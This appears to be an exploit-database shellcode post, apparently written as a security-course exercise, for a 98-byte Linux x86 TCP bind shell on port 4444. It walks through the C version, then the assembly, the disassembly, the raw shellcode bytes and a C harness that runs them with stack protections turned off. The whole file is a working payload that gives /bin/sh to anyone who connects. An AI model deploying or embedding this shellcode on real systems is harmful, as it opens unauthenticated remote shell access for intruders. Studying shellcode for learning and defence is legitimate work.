/*
# Linux x86 TCP Bind Shell Port 4444 (98 bytes)
# Author: sajith
# Tested on: i686 GNU/Linux
# Shellcode Length: 98
# SLAE - 750
------------c prog ---poc by sajith shetty----------
#include <sys/types.h>
#include <sys/socket.h>
#include <stdlib.h>
#include <unistd.h>
#include <netinet/in.h>
int main(void)
{
int sock_file_des, clientfd;
struct sockaddr_in sock_ad;
//[1]we need to create the socket connection using socket call function
//[*]Man page for socket call
//----->int socket(int domain, int type, int protocol);
// domain = AF_INET (IPv4 Internet protocol family which will be used for communication)
// type = SOCK_STREAM (Provides sequenced, reliable, two-way, connection-based byte streams. An out-of-band data transmission mechanism may be supported
// protocol = 0 (The protocol specifies a particular protocol to be used with the socket.Normally only a single protocol exists to support a particular socket type within a given protocol family, in which case protocol can be specified as 0.
sock_file_des = socket(AF_INET, SOCK_STREAM, 0);
//[2]Binds the socket to localhost and port (here will use 4444) using bind call.
//[*]Man page for bind call
//------->int bind(int sockfd, const struct sockaddr *addr,socklen_t addrlen);
// sockfd = sock_file_des
// const struct sockaddr *addr = (struct sockaddr *)&sock_ad (bind() assigns the address specified to by addr to the socket referred to by the file descriptor sockfd)
// socklen_t addrlen = sizeof(sock_ad) (addrlen specifies the size, in bytes, of the address structure pointed to by addr.)
sock_ad.sin_family = AF_INET; // Host byte order.(2)
sock_ad.sin_port = htons(4444);// network byte order
sock_ad.sin_addr.s_addr = INADDR_ANY;//(0)bindshell will listen on any address
bind(sock_file_des, (struct sockaddr *) &sock_ad, sizeof(sock_ad));
//[3]Waits for incoming connection using call to listen
//[*]Man page for listen call
//------->int listen(int sockfd, int backlog);
// sockfd = sock_file_des (The sockfd argument is a file descriptor that refers to a socket of type SOCK_STREAM)
// backlog = 0 (The backlog argument defines the maximum length to which the queue of pending connections for sockfd may grow)
listen(sock_file_des, 0);
//[4]Accept the connection using call to accept
//[*]Man page to accept call
//------->int accept(int sockfd, struct sockaddr *addr, socklen_t *addrlen);
// sockfd = sock_file_des
// struct sockaddr *addr = NULL (The argument addr is a pointer to a sockaddr structure. This structure is filled in with the address of the peer socket, as known to the communications layer.When addr is NULL, nothing is filled in; in this case, addrlen is not used, and should also be NULL.
// socklen_t *addrlen = NULL
clientfd = accept(sock_file_des, NULL, NULL);
//[5]Redirect file descriptors (STDIN, STDOUT and STDERR) to the socket using DUP2
//[*]Man page for dup2 (duplicate a file descriptor)
//------->int dup2(int oldfd, int newfd);
// oldfd = clientfd
// newfd = 0(stdin) , 1(stdout), 2(stderr)
dup2(clientfd, 0); // stdin
dup2(clientfd, 1); // stdout
dup2(clientfd, 2); // stderr
//[6]Execute shell (here we use /bin/sh) using execve call
//[*]Man page for execve call
//------->int execve(const char *filename, char *const argv[],char *const envp[]);
// char *filename = /bin/sh
// char *const argv[] = NULL
// char *const envp[] = NULL
execve("/bin/sh",NULL,NULL);
}
----------------------end of c program--------------
global _start
section .text
_start:
;syscall for socket
;cat /usr/include/i386-linux-gnu/asm/unistd_32.h | grep socket
;#define __NR_socketcall 102 (0x66 in hex)
;sock_file_des = socket(AF_INET, SOCK_STREAM, 0)
;AF_INET = 2 ( bits/socket.h)
;SOCK_STREAM = 1 (bits/socket.h)
;socket(2,1,0)
xor eax, eax ; zero out eax register using XOR operation
xor ebx, ebx ; zero out ebx register using XOR operation
push eax ; move 0 to stack (protocol=0)
mov al, 0x66 ; moves socket call number to al register
mov bl, 0x1 ; moves 0x1 to bl register
push ebx ; value in ebx=1 is pushed in to the stack (sock_stream =1)
push 0x2 ; value 0x2 is pushed onto stack (AF_INET=2)
mov ecx, esp ; save the pointer to args in ecx
int 0x80 ; socket()
mov esi, eax ; store sockfd in esi register
;sock_ad.sin_addr.s_addr = INADDR_ANY;//0, bindshell will listen on any address
;sock_ad.sin_port = htons(4444);// port to bind.(4444)
;sock_ad.sin_family = AF_INET; // TCP protocol (2).
xor edx, edx ; zero out edx register using XOR operation
push edx ; push 0 on to stack (INADDR_ANY)
push word 0x5C11; htons(4444)
push word 0x2 ; AF_INET = 2
mov ecx, esp ; save the pointer to args in ecx
;bind(sock_file_des, (struct sockaddr *) &sock_ad, sizeof(sock_ad));
;cat /usr/include/linux/net.h | grep bind
;bind = 2
mov al, 0x66 ; sys socket call
mov bl, 0x2 ; bind =2
push 0x10 ; size of sock_ad (sizeof(sock_ad))
push ecx ; struct pointer
push esi ; push sockfd (sock_file_des) onto stack
mov ecx, esp ; save the pointer to args in ecx
int 0x80
;listen(sock_file_des, 0);
;cat /usr/include/linux/net.h | grep listen
; listen =4
mov al, 0x66 ; sys socket call
mov bl, 0x4 ; listen=4
push edx ; push 0 onto stack (backlog=0)
push esi ; sockfd (sock_file_des )
mov ecx, esp ; save the pointer to args in ecx
int 0x80
;clientfd = accept(sock_file_des, NULL, NULL)
;int accept(int sockfd, struct sockaddr *addr, socklen_t *addrlen);
;cat /usr/include/linux/net.h | grep accept
; accept=5
mov al, 0x66 ; sys socket call
mov bl, 0x5 ; accept =5
push edx ; null value socklen_t *addrlen
push edx ; null value sockaddr *addr
push esi ; sockfd (sock_file_des )
mov ecx, esp ; save the pointer to args in ecx
int 0x80
;int dup2(int oldfd, int newfd);
;dup2(clientfd, 0); // stdin
;dup2(clientfd, 1); // stdout
;dup2(clientfd, 2); // stderr
mov ebx, eax ;move client fd to ebx
xor ecx, ecx ; xor to clear out ecx
mov cl, 3 ; counter to loop 3 times
loopinghere:
mov al, 0x3f ; sys call for dup2
int 0x80
dec cl ; decrement till 0
jns loopinghere ; loop as long sign flag is not set
;Execute shell (here we use /bin/sh) using execve call
;execve("//bin/sh",["//bin/sh"])
mov al, 11 ; execve
push edx ; push null
push 0x68732f6e ; hs/b
push 0x69622f2f ; ib//
mov ebx,esp ; save pointer
push edx ; push null
push ebx ; push pointer
mov ecx,esp ; save pointer
int 0x80
-------------obj dump------------
finalcode: file format elf32-i386
Disassembly of section .text:
08048060 <_start>:
8048060: 31 c0 xor eax,eax
8048062: 31 db xor ebx,ebx
8048064: 50 push eax
8048065: b0 66 mov al,0x66
8048067: b3 01 mov bl,0x1
8048069: 53 push ebx
804806a: 6a 02 push 0x2
804806c: 89 e1 mov ecx,esp
804806e: cd 80 int 0x80
8048070: 89 c6 mov esi,eax
8048072: 31 d2 xor edx,edx
8048074: 52 push edx
8048075: 66 68 11 5c pushw 0x5c11
8048079: 66 6a 02 pushw 0x2
804807c: 89 e1 mov ecx,esp
804807e: b0 66 mov al,0x66
8048080: b3 02 mov bl,0x2
8048082: 6a 10 push 0x10
8048084: 51 push ecx
8048085: 56 push esi
8048086: 89 e1 mov ecx,esp
8048088: cd 80 int 0x80
804808a: b0 66 mov al,0x66
804808c: b3 04 mov bl,0x4
804808e: 52 push edx
804808f: 56 push esi
8048090: 89 e1 mov ecx,esp
8048092: cd 80 int 0x80
8048094: b0 66 mov al,0x66
8048096: b3 05 mov bl,0x5
8048098: 52 push edx
8048099: 52 push edx
804809a: 56 push esi
804809b: 89 e1 mov ecx,esp
804809d: cd 80 int 0x80
804809f: 89 c3 mov ebx,eax
80480a1: 31 c9 xor ecx,ecx
80480a3: b1 03 mov cl,0x3
080480a5 <loopinghere>:
80480a5: b0 3f mov al,0x3f
80480a7: cd 80 int 0x80
80480a9: fe c9 dec cl
80480ab: 79 f8 jns 80480a5 <loopinghere>
80480ad: b0 0b mov al,0xb
80480af: 52 push edx
80480b0: 68 6e 2f 73 68 push 0x68732f6e
80480b5: 68 2f 2f 62 69 push 0x69622f2f
80480ba: 89 e3 mov ebx,esp
80480bc: 52 push edx
80480bd: 53 push ebx
80480be: 89 e1 mov ecx,esp
80480c0: cd 80 int 0x80
-----------------------------------------------
gcc -fno-stack-protector -z execstack shellcode.c -o shellcode
*/
#include<stdio.h>
#include<string.h>
unsigned char code[] = \
"\x31\xc0\x31\xdb\x50\xb0\x66\xb3\x01\x53\x6a\x02\x89\xe1\xcd\x80\x89\xc6\x31\xd2\x52\x66\x68"
"\x11\x5c" // port number 4444
"\x66\x6a\x02\x89\xe1\xb0\x66\xb3\x02\x6a\x10\x51\x56\x89\xe1\xcd\x80\xb0\x66\xb3\x04\x52\x56\x89\xe1\xcd\x80\xb0\x66\xb3\x05\x52\x52\x56\x89\xe1\xcd\x80\x89\xc3\x31\xc9\xb1\x03\xb0\x3f\xcd\x80\xfe\xc9\x79\xf8\xb0\x0b\x52\x68\x6e\x2f\x73\x68\x68\x2f\x2f\x62\x69\x89\xe3\x52\x53\x89\xe1\xcd\x80";
main()
{
printf("Shellcode Length: %d\n", strlen(code));
int (*ret)() = (int(*)())code;
ret();
}